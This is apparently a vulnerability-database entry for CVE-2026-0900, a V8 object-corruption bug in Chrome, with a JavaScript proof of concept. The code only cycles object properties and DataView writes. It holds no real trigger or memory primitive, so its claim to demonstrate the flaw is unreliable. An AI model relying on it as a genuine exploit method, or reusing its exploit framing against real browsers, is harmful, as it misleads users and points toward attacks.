CVE-2026-0900 Google Chrome V8对象损坏漏洞

// CVE-2026-0900 PoC - V8 Object Corruption in Google Chrome // This PoC demonstrates the vulnerability pattern (for educational purposes only) function triggerV8ObjectCorruption() { // Pattern: Create objects that may trigger V8 object corruption // The actual exploitation requires specific V8 version and memory layout knowledge // Initialize objects for manipulation const targetObjects = []; // Create array of objects with specific properties for (let i = 0; i < 100; i++) { targetObjects.push({ value: i, data: new ArrayBuffer(1024) }); } // Trigger optimization and deoptimization cycles function triggerCycles() { for (let j = 0; j < 1000; j++) { // Access objects in ways that may confuse V8's optimization for (let i = 0; i < targetObjects.length; i++) { // Polymorphic access to trigger hidden class transitions if (j % 2 === 0) { targetObjects[i].extra = j; } else { delete targetObjects[i].extra; } // Array buffer manipulation const view = new DataView(targetObjects[i].data); view.setUint32(0, j, true); } } } // Force JIT compilation triggerCycles(); // Attempt to corrupt object structure // In real exploitation, this would lead to arbitrary memory read/write for (let i = 0; i < targetObjects.length; i++) { // Access pattern that may expose corrupted object headers const corruptedAccess = targetObjects[i].value; console.log('Accessing object:', corruptedAccess); } return targetObjects; } // Execute the trigger function try { triggerV8ObjectCorruption(); console.log('PoC executed - V8 object corruption trigger attempted'); } catch (e) { console.error('Error during execution:', e.message); } // Note: This is a simplified demonstration. Actual CVE-2026-0900 exploitation // requires specific knowledge of V8 internals and precise memory manipulation.